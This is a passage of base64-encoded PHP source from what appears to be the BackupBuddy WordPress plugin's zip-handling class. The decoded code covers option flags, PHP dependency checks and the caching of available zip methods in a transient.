hbHVlIGlzIG51bGwgdGhlbiB0aGlzIGZvcmNlcyB0aGUgdXNlCgkJICoJb2YgdGhlIGdsb2JhbCBvcHRpb24gaWYgaXQgaXMgc2V0IG9yIG90aGVyd2lzZSB0aGUgZGVmYXVsdCB2YWx1ZSBnaXZlbgoJCSAqCgkJICoJQHBhcmFtCQlzdHJpbmcJCSRvcHRpb24JCVRoZSBvcHRpb24gbmFtZSBpbiB0aGUgZ2xvYmFsIG9wdGlvbnMgYXJyYXkKCQkgKglAcGFyYW0JCWJvb2wJCSR2YWx1ZQkJU2hvdWxkIGJlIGJvb2wgdHJ1ZXxmYWxzZSBidXQgY291bGQgYmUgbnVsbAoJCSAqCUByZXR1cm4JCWJvb2wJCVZhbHVlIG9mICRfaWdub3JlX3dhcm5pbmdzCgkJICoKCQkgKi8KCQkgcHJvdGVjdGVkIGZ1bmN0aW9uIGRlcml2ZV9vcHRpb25hbF9ib29sKCAkb3B0aW9uLCAkdmFsdWUsICRkZWZhdWx0ICkgewoJCSAJJHJlc3VsdCA9IGZhbHNlOwoJCSAJaWYgKCBpc19ib29sKCAkdmFsdWUgKSkgewoJCSAJCSRyZXN1bHQgPSAkdmFsdWU7CgkJIAl9IGVsc2VpZiAoIGlzc2V0KCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbICRvcHRpb24gXSApICkgewoJCSAJCSggKCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbICRvcHRpb24gXSA9PSAnMScgKSB8fCAoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1sgJG9wdGlvbiBdID09IHRydWUgKSApID8gJHJlc3VsdCA9IHRydWUgOiAkcmVzdWx0ID0gZmFsc2UgOwoJCSAJfSBlbHNlIHsKCQkgCQkkcmVzdWx0ID0gJGRlZmF1bHQ7CgkJIAl9CgkJIAlyZXR1cm4gJHJlc3VsdDsKCQkgfQoJCSAKCQkvKioKCQkgKglzZXRfaWdub3JlX3dhcm5pbmdzKCkKCQkgKgoJCSAqCUBwYXJhbQltaXhlZAkkaWdub3JlCQl0cnVlfGZhbHNlIGZvciBzcGVjaWZpYyBzZXR0aW5nIG9yIG51bGwgZm9yIGNob2ljZQkKCQkgKglAcmV0dXJuCW9iamVjdAkJCQlUaGlzIG9iamVjdAoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBzZXRfaWdub3JlX3dhcm5pbmdzKCAkaWdub3JlID0gbnVsbCApIHsKCQkKCQkgCSR0aGlzLT5faWdub3JlX3dhcm5pbmdzID0gJHRoaXMtPmRlcml2ZV9vcHRpb25hbF9ib29sKCAnaWdub3JlX3ppcF93YXJuaW5ncycsICRpZ25vcmUsIGZhbHNlICk7CgkJIAkKCQkJcmV0dXJuICR0aGlzOwoJCQkKCQl9CgoJCS8qKgoJCSAqCWdldF9pZ25vcmVfd2FybmluZ3MoKQoJCSAqCgkJICoJUmV0dXJucyB0aGUgcHJldmlvdXNseSBzZXQgaWdub3JlIHdhcm5pbmdzIGZsYWcKCQkgKgoJCSAqCUByZXR1cm4JbWl4ZWQJCQlUaGUgc3RvcmVkIGlnbm9yZSB3YXJuaW5ncyBmbGFnIHRydWV8ZmFsc2V8bnVsbAoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBnZXRfaWdub3JlX3dhcm5pbmdzKCkgewoJCQkKCQkJcmV0dXJuICR0aGlzLT5faWdub3JlX3dhcm5pbmdzOwoJCQkKCQl9CgoJCS8qKgoJCSAqCXNldF9pZ25vcmVfc3ltbGlua3MoKQoJCSAqCgkJICoJQHBhcmFtCW1peGVkCSRpZ25vcmUJCXRydWV8ZmFsc2UgZm9yIHNwZWNpZmljIHNldHRpbmcgb3IgbnVsbCBmb3IgY2hvaWNlCQoJCSAqCUByZXR1cm4Jb2JqZWN0CQkJCVRoaXMgb2JqZWN0CgkJICovCgkJcHVibGljIGZ1bmN0aW9uIHNldF9pZ25vcmVfc3ltbGlua3MoICRpZ25vcmUgPSBudWxsICkgewoJCQoJCSAJJHRoaXMtPl9pZ25vcmVfc3ltbGlua3MgPSAkdGhpcy0+ZGVyaXZlX29wdGlvbmFsX2Jvb2woICdpZ25vcmVfemlwX3N5bWxpbmtzJywgJGlnbm9yZSwgdHJ1ZSApOwoJCQkKCQkJcmV0dXJuICR0aGlzOwoJCQkKCQl9CgoJCS8qKgoJCSAqCWdldF9pZ25vcmVfc3ltbGlua3MoKQoJCSAqCgkJICoJUmV0dXJucyB0aGUgcHJldmlvdXNseSBzZXQgaWdub3JlIHN5bWxpbmtzIGZsYWcKCQkgKgoJCSAqCUByZXR1cm4JbWl4ZWQJCQlUaGUgc3RvcmVkIGlnbm9yZSBzeW1saW5rcyBmbGFnIHRydWV8ZmFsc2V8bnVsbAoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBnZXRfaWdub3JlX3N5bWxpbmtzKCkgewoJCQkKCQkJcmV0dXJuICR0aGlzLT5faWdub3JlX3N5bWxpbmtzOwoJCQkKCQl9CgoJCS8qKgoJCSAqCXNldF9jb21wcmVzc2lvbigpCgkJICoKCQkgKglAcGFyYW0JbWl4ZWQJJGNvbXByZXNzaW9uCXRydWV8ZmFsc2UgZm9yIHNwZWNpZmljIHNldHRpbmcgb3IgbnVsbCBmb3IgY2hvaWNlCQoJCSAqCUByZXR1cm4Jb2JqZWN0CQkJCQlUaGlzIG9iamVjdAoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBzZXRfY29tcHJlc3Npb24oICRjb21wcmVzc2lvbiA9IG51bGwgKSB7CgkJCgkJIAkkdGhpcy0+X2NvbXByZXNzaW9uID0gJHRoaXMtPmRlcml2ZV9vcHRpb25hbF9ib29sKCAnY29tcHJlc3Npb24nLCAkY29tcHJlc3Npb24sIHRydWUgKTsKCQkJCgkJCXJldHVybiAkdGhpczsKCQkJCgkJfQoKCQkvKioKCQkgKglnZXRfY29tcHJlc3Npb24oKQoJCSAqCgkJICoJUmV0dXJucyB0aGUgcHJldmlvdXNseSBzZXQgY29tcHJlc3Npb24gZmxhZwoJCSAqCgkJICoJQHJldHVybgltaXhlZAkJCVRoZSBzdG9yZWQgY29tcHJlc3Npb24gZmxhZyB0cnVlfGZhbHNlfG51bGwKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gZ2V0X2NvbXByZXNzaW9uKCkgewoJCQkKCQkJcmV0dXJuICR0aGlzLT5fY29tcHJlc3Npb247CgkJCQoJCX0KCgkJLyoqCgkJICoJc2V0X3N1cHBvcnRlZF96aXBfbWV0aG9kcygpCgkJICoKCQkgKglBcHBlbmRzIG9yIHByZXBlbmRzIHRoZSBtZXRob2Qgb3IgbWV0aG9kcyBwYXNzZWQgdG8gdGhlIGV4aXN0aW5nIHN1cHBvcnRlZCBtZXRob2RzIGFycmF5CgkJICoKCQkgKglAcGFyYW0Jc3RyaW5nL2FycmF5CSRtZXRob2RzCUVpdGhlciBhIChjb21tYSBzZXBhcmF0ZWQpIHN0cmluZyBvZiBtZXRob2RzIG9yIGFuIGFycmF5CgkJICoJQHBhcmFtCWJvb2wJCQkkYXBwZW5kCQlUcnVlIGlmICRtZXRob2RzIHNob3VsZCBiZSBhcHBlbmRlZCB0byBleGlzdGluZyBzdXBwb3J0ZWQgbWV0aG9kcwoJCSAqCUByZXR1cm4JYm9vbAkJCQkJCVRydWUgaWYgc2V0IHN1Y2NlZWRlZCwgb3RoZXJ3aXNlIGZhbHNlCgkJICovCgkJcHJvdGVjdGVkIGZ1bmN0aW9uIHNldF9zdXBwb3J0ZWRfemlwX21ldGhvZHMoICRtZXRob2RzLCAkYXBwZW5kID0gdHJ1ZSApIHsKCQkKCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQoJCQkvLyBJZiAkbWV0aG9kcyBpcyBhIHN0cmluZyB3ZSBuZWVkIHRvIHR1cm4gaXQgaW50byBhbiBhcnJheSAob2Ygb25lIG9yIG1vcmUgZWxlbWVudHMpIG9yCgkJCS8vIG90aGVyd2lzZSBhc3N1bWUgaXQgaXMgYW4gYXJyYXkgYWxyZWFkeSAoYnV0IHdlIGRvdWJsZSBjaGVjayBpbiBhIG1vKQoJCQkoIGlzX3N0cmluZyggJG1ldGhvZHMgKSApID8gJG1ldGhvZHNfdG9fYWRkID0gZXhwbG9kZSggIiwiLCAkbWV0aG9kcyApIDogJG1ldGhvZHNfdG9fYWRkID0gJG1ldGhvZHM7CgoJCQkvLyBNYWtlIHN1cmUgd2UgaGF2ZSBhbiBhcnJheSBhbmQgaWYgc28gdGhlbiBlaXRoZXIgYXBwZW5kIG9yIHByZXBlbmQgdG8gZXhpc3Rpbmcgc3VwcG9ydGVkIG1ldGhvZHMKCQkJaWYgKCBpc19hcnJheSggJG1ldGhvZHNfdG9fYWRkICkgKSB7CgkJCQoJCQkJKCAkYXBwZW5kICkgPyAkdGhpcy0+X3N1cHBvcnRlZF96aXBfbWV0aG9kcyA9IGFycmF5X21lcmdlKCAkdGhpcy0+X3N1cHBvcnRlZF96aXBfbWV0aG9kcywgJG1ldGhvZHNfdG9fYWRkICkgOgoJCQkJCQkJICAkdGhpcy0+X3N1cHBvcnRlZF96aXBfbWV0aG9kcyA9IGFycmF5X21lcmdlKCAkbWV0aG9kc190b19hZGQsICR0aGlzLT5fc3VwcG9ydGVkX3ppcF9tZXRob2RzICk7CgkJCQoJCQkJJHJlc3VsdCA9IHRydWU7CQkJCgkJCQoJCQl9CgkJCQoJCQkvLyBXaWxsIHJldHVybiBmYWxzZSBpZiB3ZSBzb21laG93IGRpZG4ndCBlbmQgdXAgd2l0aCBhbiBhcnJheSB0byBtZXJnZQoJCQlyZXR1cm4gJHJlc3VsdDsKCQkKCQl9CgkJCgkJLyoqCgkJICoJY2hlY2tfbWV0aG9kX2RlcGVuZGVuY2llcygpCgkJICoKCQkgKglDaGVja3MgdGhlIGRlcGVuZGVuY2llcyB0aGF0IGEgbWV0aG9kIGRlZmluZXMgZm9yIGl0c2VsZiAtIHRoaXMgbWF5IG9wdGlvbmFsbHkgYWxzbyBtZWFuCgkJICoJY2FsbGluZyBhIGdpdmVuIGNhbGxiYWNrIGZ1bmN0aW9uIHRoYXQgYWxsb3dzIHRoZSBtZXRob2QgdG8gYWRkIGl0J3Mgb3duIHZlcnkgc3BlY2lmaWMgY2hlY2tzCgkJICoJYmV5b25kIHRob3NlIHRoYXQgYXJlIHJ1biBhcyBzdGFuZGFyZC4KCQkgKgoJCSAqCUBwYXJhbQlzdHJpbmcJCSRjbGFzc19uYW1lCQlUaGUgbmFtZSBvZiB0aGUgY2xhc3MgdG8gY2hlY2ssIG5lZWRlZCBiZWNhdXNlIHRoaXMgaXMgc3RhdGljIGNoZWNraW5nCgkJICoJQHJldHVybglib29sCQkJCQkJVHJ1ZSBpZiBkZXBlbmRlbmN5IGNoZWNrIHN1Y2NlZWRlZCwgb3RoZXJ3aXNlIGZhbHNlCgkJICovCgkJcHJvdGVjdGVkIGZ1bmN0aW9uIGNoZWNrX21ldGhvZF9kZXBlbmRlbmNpZXMoICRjbGFzc19uYW1lICkgewoJCQoJCQkvLyBBc3N1bWUgZGVwZW5kZW5jeSBjaGVja3Mgd2lsbCBwYXNzIC0gd2lsbCBiZSBzZXQgZmFsc2UgaWYgYSBjaGVjayBmYWlscwoJCQkkcmVzdWx0ID0gdHJ1ZTsKCQkJCgkJCWlmICggIW1ldGhvZF9leGlzdHMoICRjbGFzc19uYW1lLCAnZ2V0X21ldGhvZF9kZXBlbmRlbmNpZXNfc3RhdGljJyApICkgewoJCQkKCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCgkJCX0gZWxzZSB7CgkJCgkJCQkkbWV0aG9kX2RlcGVuZGVuY2llcyA9IGNhbGxfdXNlcl9mdW5jKCBhcnJheSggJGNsYXNzX25hbWUsICdnZXRfbWV0aG9kX2RlcGVuZGVuY2llc19zdGF0aWMnICkgKTsKCQkJCQoJCQl9CgkJCQoJCQlpZiAoICggJHJlc3VsdCApICYmIGlzc2V0KCAkbWV0aG9kX2RlcGVuZGVuY2llc1sgJ2NsYXNzZXMnIF0gKSAmJiAhZW1wdHkoICRtZXRob2RfZGVwZW5kZW5jaWVzWyAnY2xhc3NlcycgXSApICkgewoJCQkKCQkJCSRjbGFzc2VzID0gJG1ldGhvZF9kZXBlbmRlbmNpZXNbICdjbGFzc2VzJyBdOwoJCQkKCQkJCSRkaXNhYmxlZF9jbGFzc2VzID0gYXJyYXlfbWFwKCAidHJpbSIsIGV4cGxvZGUoICcsJywgaW5pX2dldCggJ2Rpc2FibGVfY2xhc3NlcycgKSApICk7CgkJCQkKCQkJCS8vIENoZWNrIGVhY2ggZnVuY3Rpb24gZGVwZW5kZW5jeSBhbmQgYmFpbCBvdXQgb24gZmlyc3QgZmFpbHVyZQoJCQkJZm9yZWFjaCAoICRjbGFzc2VzIGFzICRjbGFzcyApIHsKCQkJCQoJCQkJCSRjbGFzcyA9IHRyaW0oICRjbGFzcyApOwoJCQkJCQoJCQkJCWlmICggISggKCBjbGFzc19leGlzdHMoICRjbGFzcyApICkgJiYgKCAhaW5fYXJyYXkoICRjbGFzcywgJGRpc2FibGVkX2NsYXNzZXMgKSApICkgKSB7CgoJCQkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkJCWJyZWFrOwoJCQkJCQkKCQkJCQl9CgkJCQkKCQkJCX0KCQkJfQoJCQkKCQkJaWYgKCAoICRyZXN1bHQgKSAmJiBpc3NldCggJG1ldGhvZF9kZXBlbmRlbmNpZXNbICdmdW5jdGlvbnMnIF0gKSAmJiAhZW1wdHkoICRtZXRob2RfZGVwZW5kZW5jaWVzWyAnZnVuY3Rpb25zJyBdICkgKSB7CgkJCQoJCQkJJGZ1bmN0aW9ucyA9ICRtZXRob2RfZGVwZW5kZW5jaWVzWyAnZnVuY3Rpb25zJyBdOwoJCQkJCgkJCQkkZGlzYWJsZWRfZnVuY3Rpb25zID0gYXJyYXlfbWFwKCAidHJpbSIsIGV4cGxvZGUoICcsJywgaW5pX2dldCggJ2Rpc2FibGVfZnVuY3Rpb25zJyApICkgKTsKCQkJCQoJCQkJLy8gQ2hlY2sgZWFjaCBmdW5jdGlvbiBkZXBlbmRlbmN5IGFuZCBiYWlsIG91dCBvbiBmaXJzdCBmYWlsdXJlCgkJCQlmb3JlYWNoICggJGZ1bmN0aW9ucyBhcyAkZnVuY3Rpb24gKSB7CgkJCQkKCQkJCQkkZnVuY3Rpb24gPSB0cmltKCAkZnVuY3Rpb24gKTsKCQkJCQkKCQkJCQlpZiAoICEoICggZnVuY3Rpb25fZXhpc3RzKCAkZnVuY3Rpb24gKSApICYmICggIWluX2FycmF5KCAkZnVuY3Rpb24sICRkaXNhYmxlZF9mdW5jdGlvbnMgKSApICkgKSB7CgoJCQkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkJCWJyZWFrOwoJCQkJCQkKCQkJCQl9CgkJCQkKCQkJCX0KCQkJCgkJCX0KCQkJCgkJCS8vIE5vIGV4dGVuc2lvbiBjaGVja3MgeWV0CgkJCQoJCQkvLyBObyBmaWxlIGNoZWNrcyB5ZXQgKG5lZWQgdG8gZGV0ZXJtaW5lIGhvdyB0aGlzIG1pZ2h0IHdvcmsgYSBiaXQgYmV0dGVyKQoJCQkKCQkJaWYgKCAoICRyZXN1bHQgKSAmJiBpc3NldCggJG1ldGhvZF9kZXBlbmRlbmNpZXNbICdjaGVja19mdW5jJyBdICkgJiYgIWVtcHR5KCAkbWV0aG9kX2RlcGVuZGVuY2llc1sgJ2NoZWNrX2Z1bmMnIF0gKSApIHsKCQkJCgkJCQkkcmVzdWx0ID0gY2FsbF91c2VyX2Z1bmMoIGFycmF5KCAkY2xhc3NfbmFtZSwgJG1ldGhvZF9kZXBlbmRlbmNpZXNbICdjaGVja19mdW5jJyBdICkgKTsKCQkJCQoJCQl9CgkJCQoJCQlyZXR1cm4gJHJlc3VsdDsKCQkKCQl9CgkJCgkJLyoqCgkJICoJZGVkdWNlX3ppcF9tZXRob2RzKCkKCQkgKgkKCQkgKglSZXR1cm5zIHRoZSBhcnJheSBvZiB6aXAgbWV0aG9kcyB0aGF0IGFyZSBhdmFpbGFibGUgKG9yIGp1c3QgdGhlIGJlc3QpIGZpbHRlcmVkIGJ5IHJlcXVlc3RlZCBtZXRob2RzLgoJCSAqCUJlY2F1c2UgdGhlIGF2YWlsYWJsZSBtZXRob2RzIGRvbid0IHJlYWxseSBjaGFuZ2Ugb2Z0ZW4gKHJhcmVseSBvbmNlIHN0YWJsZSkgd2UgdXNlIGEgdHJhbnNpZW50CgkJICoJd2hpY2ggaGFzIHNvbWUgZGVmaW5lZCBsaWZldGltZSBzbyB3ZSBkb24ndCB3YXN0ZSB0aW1lIHJlcGVhdGluZyB0aGUgdGVzdGluZyB3aGljaCBpbnZvbHZlcyBjcmVhdGluZwoJCSAqCW9iamVjdHMgYW5kIHByb2Nlc3NlcyBhbmQgZmlsZXMgd2hpY2ggY2FuIGJlIHRpbWUgY29uc3VtaW5nLgoJCSAqCVRoZSB1c2luZyBzY3JpcHQgY2FuIGRlY2lkZSB0byBoYXZlIHRoZSB0cmFuc2llbnQgcmVmcmVzaGVkIGJ5IGRlbGV0aW5nIGl0IGFuZCB0aGVuIGl0IHdpbGwgYmUgcmVnZW5lcmF0ZWQuCgkJICoJTm90ZTogVGhlcmUgaXMgYW4gaW5jbHVkZWQgInNpZ25hdHVyZSIgc28gdGhhdCB3ZSBjYW4gZGV0ZWN0IHNlcnZlciBvciBvdGhlciBtb3ZlcyBhbmQgcmVnZW5lcmF0ZS4KCQkgKglOb3RlOiBmaWxlbXRpbWUoKSBpcyB1c2VkIGJlY2F1c2UgdGhpcyB3aWxsIChzaG91bGQpIGZvcmNlIHRoZSB0cmFuc2llbnQgdG8gdXBkYXRlIGlmIHRoZSBwbHVnaW4gaXMKCQkgKgl1cGRhdGVkIGJlY2F1c2UgdGhlIGZpbGUgbW9kaWZpY2F0aW9uIHRpbWUgb2YgdGhlIGZpbGUgd2lsbCBjaGFuZ2UgYmVjYXVzZSB0aGUgcGx1Z2luIGlzIGluc3RhbGxlZCBpbiBhCgkJICoJZGlmZmVyZW50IGRpc2sgbG9jYXRpb24gd2l0aCBuZXdseSB3cml0dGVuIGZpbGVzIC0gdGhlIHNhbWUgc2hvdWxkIGFwcGx5IGlmIHRoZSBzaXRlIGlzIHJlc3RvcmVkL21pZ3JhdGVkLgoJCSAqCQoJCSAqCUBwYXJhbQkJYXJyYXkJQXJyYXkgcmVmZXJlbmNlIGZvciB0aGUgZGVkdWNlZCB6aXAgbWV0aG9kcwoJCSAqCUBwYXJhbQkJYXJyYXkJQXJyeSByZWZlcmVuY2UgZm9yIHRoZSBkZXRhaWxzIG9mIHRoZSBkZWR1Y2VkIG1ldGhvZHMKCQkgKglAcGFyYW0JCWFycmF5CUZsYXQgYXJyYXkgb2YgcmVxdWVzdGVkIChwcmVmZXJyZWQpIHppcCBtZXRob2RzCgkJICoJQHBhcmFtCQlib29sCVRydWUgaWYgb25seSB0aGUgYmVzdCBhdmFpbGFibGUgbWV0aG9kIHdhbnRlZAoJCSAqCUBwYXJhbQkJc3RyaW5nCVdoaWNoIHppcCBtb2RlIGJlaW5nIHRlc3RlZAoJCSAqCUByZXR1cm4JCWJvb2wJVHJ1ZSBpZiBtZXRob2RzIGFyZSBhdmFpbGFibGUsIEZhbHNlIG90aGVyd2lzZQoJCSAqCgkJICovCgkJcHJvdGVjdGVkIGZ1bmN0aW9uIGRlZHVjZV96aXBfbWV0aG9kcyggYXJyYXkgJiRtZXRob2RzLCBhcnJheSAmJG1ldGhvZHNfZGV0YWlscywgYXJyYXkgJHJlcXVlc3RlZCwgJGJlc3Rfb25seSApIHsKCQkJCgkJCSRhdmFpbGFibGVfbWV0aG9kcyA9IGFycmF5KCk7CgkJCSRhdmFpbGFibGVfbWV0aG9kc19kZXRhaWxzID0gYXJyYXkoKTsKCQkJJGFnZ3JlZ2F0ZV9hdmFpbGFibGVfbWV0aG9kcyA9IGFycmF5KCk7CgkJCSRzZXJ2ZXJfc2lnbmF0dXJlX3N0cmluZyA9ICIiOwoJCQkkc2VydmVyX3NpZ25hdHVyZSA9ICIiOwoKCQkJLy8gRGVjaWRlIGlmIHdlIHNob3VsZCB0cnkgZm9yIGNhY2hlZCBtZXRob2RzIG9yIG5vdAkJCQoJCQlpZiAoICR0aGlzLT51c2VfY2FjaGVkX21ldGhvZHMoKSApIHsKCgkJCQkkYWdncmVnYXRlX2F2YWlsYWJsZV9tZXRob2RzID0gZ2V0X3RyYW5zaWVudCggJHRoaXMtPl96aXBfbWV0aG9kc190cmFuc2llbnQgKTsKCQkJCQoJCQkJLy8gRHJvcCB0aHJvdWdoIGlmIHdlIGRpZG4ndCBnZXQgYSB0cmFuc2llbnQgb3RoZXJ3aXNlIHdlJ2xsIHRlc3QgaXQgZm9yIHZhbGlkaXR5CgkJCQlpZiAoIGZhbHNlICE9PSAkYWdncmVnYXRlX2F2YWlsYWJsZV9tZXRob2RzICkgewoJCQkJCgkJCQkJLy8gR2VuZXJhdGUgc2VydmVyIHNpZ25hdHVyZSBhbmQgY2hlY2sgaXQgbWF0Y2hlcyB0aGUgY2FjaGVkIHNpZ25hdHVyZQoJCQkJCSRzZXJ2ZXJfc2lnbmF0dXJlX3N0cmluZyA9IF9fRklMRV9fIC4gIiA6ICIgLiAoICggJGZpbGVtb2R0aW1lID0gZmlsZW10aW1lKCBfX0ZJTEVfXyApICkgPyAoc3RyaW5nKSAkZmlsZW1vZHRpbWUgOiAnMScgKTsKCQkJCQkkc2VydmVyX3NpZ25hdHVyZSA9IG1kNSggJHNlcnZlcl9zaWduYXR1cmVfc3RyaW5nICk7CgkJCQkJCgkJCQkJaWYgKCAoIGZhbHNlID09PSBpc3NldCggJGFnZ3JlZ2F0ZV9hdmFpbGFibGVfbWV0aG9kc1sgJ2NvbnRyb2wnIF1bICdzaWduYXR1cmUnIF0gKSApIHx8CgkJCQkJCSAoICRzZXJ2ZXJfc2lnbmF0dXJlICE9PSAkYWdncmVnYXRlX2F2YWlsYWJsZV9tZXRob2RzWyAnY29udHJvbCcgXVsgJ3NpZ25hdHVyZScgXSApICkgewoKCQkJCQkJLy8gRWl0aGVyIG5vIHNpZ25hdHVyZSBwcmV2aW91c2x5IHNldCBvciBpdCBoYXMgY2hhbmdlZCAtIGVpdGhlciB3YXkgd2UgbmVlZCB0byByZWV2YWx1YXRlIGF2YWlsYWJsZSBtZXRob2RzCgkJCQkJCSRhZ2dyZWdhdGVfYXZhaWxhYmxlX21ldGhvZHMgPSBmYWxzZTsKCQkJCQkJIAoJCQkJCX0KCQkJCQoJCQkJfQoKCQkJfSBlbHNlIHsKCQkJCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdaaXAgbWV0aG9kIGNhY2hpbmcgZGlzYWJsZWQgYmFzZWQgb24gc2V0dGluZ3Mgb3IgdW5hdmFpbGFibGUuJyApOwoJCQkJJGFnZ3JlZ2F0ZV9hdmFpbGFibGVfbWV0aG9kcyA9IGZhbHNlOwoJCQkJCgkJCX0KCQkJCgkJCS8vIENyZWF0ZSBuZXcgdHJhbnNpZW50IGlmIHdlIGRpZG4ndCBoYXZlIG9uZSwgaXQgd2FzIGV4cGlyZWQgb3Igd2UgbnVrZWQgaXQgYmVjYXVzZSBpbnZhbGlkCgkJCWlmICggZmFsc2UgPT09ICRhZ2dyZWdhdGVfYXZhaWxhYmxlX21ldGhvZHMgKSB7CgoJCQkJLy8gR2V0IGFsbCBhdmFpbGFibGUgbWV0aG9kcyBpbiAkYXZhaWxhYmxlX21ldGhvZHMgLSBtdXN0IHJldHVybiB0aGVtIGluIG9yZGVyIGJlc3QgLT4gd29yc3QKCQkJCS8vIEFsc28gZ2V0dGluZyB0aGUgbWV0aG9kIGRldGFpbHMgYXJyYXkgd2hpY2ggaXMga2V5ZWQgYnkgbWV0aG9kIHRhZwoJCQkJJHRoaXMtPmdldF9hdmFpbGFibGVfemlwX21ldGhvZHMoICR0aGlzLT5fc3VwcG9ydGVkX3ppcF9tZXRob2RzLCAkYXZhaWxhYmxlX21ldGhvZHMsICRhdmFpbGFibGVfbWV0aG9kc19kZXRhaWxzICk7CgkJCQkKCQkJCS8vIE5vdyB3ZSBoYXZlIHRvIGNvbWJpbmUgdGhlIHR3byBhcnJheXMgaW50byBhbiBhZ2dyZWdhdGUgdG8gc2F2ZQoJCQkJJGFnZ3JlZ2F0ZV9hdmFpbGFibGVfbWV0aG9kc1sgJ21ldGhvZHMnIF0gPSAkYXZhaWxhYmxlX21ldGhvZHM7CgkJCQkkYWdncmVnYXRlX2F2YWlsYWJsZV9tZXRob2RzWyAnZGV0YWlscycgXSA9ICRhdmFpbGFibGVfbWV0aG9kc19kZXRhaWxzOwoJCQkJCgkJCQkvLyBPbmx5IHNhdmUgaWYgd2UgYXJlIHVzaW5nIGNhY2hpbmcKCQkJCWlmICggJHRoaXMtPnVzZV9jYWNoZWRfbWV0aG9kcygpICkgewoJCQkJCgkJCQkJLy8gQWRkIHRoZSBzZXJ2ZXIgc2lnbmF0dXJlIGZvciBkZXRlY3RpbmcgaW52YWxpZGF0ZWQgbWV0aG9kcyBkZXRhaWxzIG9uIGEgbWlncmF0aW9uIG9yIHNvbWUgb3RoZXIgY2hhbmdlCgkJCQkJLy8gTm90ZTogU2VlIGRpc2N1c3Npb24gYWJvdmUgb24gZGVyaXZhdGlvbiBvZiBzaWduYXR1cmUKCQkJCQkvLyBUT0RPOiBDaGVjaywgcHJvYmFibHkgY2FuIHVzZSB0aGUgc2VydmVyIHNpZ25hdHVyZSBjYWxjdWxhdGVkIGFib3ZlCgkJCQkJJHNlcnZlcl9zaWduYXR1cmVfc3RyaW5nID0gX19GSUxFX18gLiAiIDogIiAuICggKCAkZmlsZW1vZHRpbWUgPSBmaWxlbXRpbWUoIF9fRklMRV9fICkgKSA/IChzdHJpbmcpICRmaWxlbW9kdGltZSA6ICcxJyApOwoJCQkJCSRzZXJ2ZXJfc2lnbmF0dXJlID0gbWQ1KCAkc2VydmVyX3NpZ25hdHVyZV9zdHJpbmcgKTsKCQkJCQkkYWdncmVnYXRlX2F2YWlsYWJsZV9tZXRob2RzWyAnY29udHJvbCcgXVsgJ3NpZ25hdHVyZScgXSA9ICRzZXJ2ZXJfc2lnbmF0dXJlOwoJCQkJCQoJCQkJCXNldF90cmFuc2llbnQoICR0aGlzLT5femlwX21ldGhvZHNfdHJhbnNpZW50LCAkYWdncmVnYXRlX2F2YWlsYWJsZV9tZXRob2RzLCBzZWxmOjpaSVBfTUVUSE9EU19UUkFOU0lFTlRfTElGRSApOwoJCQkJCQoJCQkJfQoJCQkJCQkJCgkJCX0gZWxzZSB7CgkJCQoJCQkJLy8gV2UgZ290IGEgdmFsaWQgdHJhbnNpZW50IHZhbHVlIHNvIG5vdyBzZXBhcmF0ZSB0aGUgYWdncmVnYXRlIGludG8gdHdvCgkJCQkkYXZhaWxhYmxlX21ldGhvZHMgPSAkYWdncmVnYXRlX2F2YWlsYWJsZV9tZXRob2RzWyAnbWV0aG9kcycgXTsKCQkJCSRhdmFpbGFibGVfbWV0aG9kc19kZXRhaWxzID0gJGFnZ3JlZ2F0ZV9hdmFpbGFibGVfbWV0aG9kc1sgJ2RldGFpbHMnIF07CgkJCQoJCQl9CgkJCQoJCQkvLyBDaGVjayB3aGV0aGVyIHRoZXNlIG5lZWQgdG8gYmUgZmlsdGVyZWQgYnkgcmVxdWVzdGVkIG1ldGhvZHMKCQkJaWYgKCAhZW1wdHkoICRyZXF1ZXN0ZWQgKSApIHsKCQkJCgkJCQkvLyBGaWx0ZXIgdGhlIGF2YWlsYWJsZSBtZXRob2RzIC0gcmVzdWx0IGNvdWxkIGJlIGVtcHR5CgkJCQkvLyBPcmRlciB3aWxsIGJlIHJldGFpbmVkIHJlZ2FyZGxlc3Mgb2Ygb3JkZXIgb2YgcmVxdWVzdGVkIG1ldGhvZHMKCQkJCSRhdmFpbGFibGVfbWV0aG9kcyA9IGFycmF5X2ludGVyc2VjdCggJGF2YWlsYWJsZV9tZXRob2RzLCAkcmVxdWVzdGVkICk7CgkJCQkKCQkJfQoKCQkJLy8gSWYganVzdCB0aGUgYmVzdCBhdmFpbGFibGUgcmVxdWVzdGVkIHRoZW4gc2xpY2UgaXQgb2ZmCgkJCWlmICggKCB0cnVlID09PSAkYmVzdF9vbmx5ICkgJiYgKCAhZW1wdHkoICRhdmFpbGFibGVfbWV0aG9kcyApICkgKSB7CgkJCQoJCQkJJG1ldGhvZHMgPSBhcnJheV9zbGljZSggJGF2YWlsYWJsZV9tZXRob2RzLCAwLCAxICk7CgkJCQkkbWV0aG9kc19kZXRhaWxzID0gJGF2YWlsYWJsZV9tZXRob2RzX2RldGFpbHM7CgkJCQkKCQkJfSBlbHNlIHsKCQkJCgkJCQkkbWV0aG9kcyA9ICRhdmFpbGFibGVfbWV0aG9kczsKCQkJCSRtZXRob2RzX2RldGFpbHMgPSAkYXZhaWxhYmxlX21ldGhvZHNfZGV0YWlsczsKCQkJCgkJCX0KCQkJCgkJCWlmICggIWVtcHR5KCAkbWV0aG9kcyApICkgewoJCQkKCQkJCXJldHVybiB0cnVlOwoJCQkJCgkJCX0gZWxzZSB7CgkJCQoJCQkJcmV0dXJuIGZhbHNlOwoJCQkJCgkJCX0KCQkKCQl9CgkJCQkKCQkvKioKCQkgKglzZXRfemlwX21ldGhvZF9jYWNoaW5nX2ZvcmNlX2Rpc2FibGVkKCkKCQkgKgkKCQkgKglTZXQgd2hldGhlciBvciBub3QgemlwIG1ldGhvZCBjYWNoaW5nIHNob3VsZCBiZSBmb3JjZSBkaXNhYmxlZCB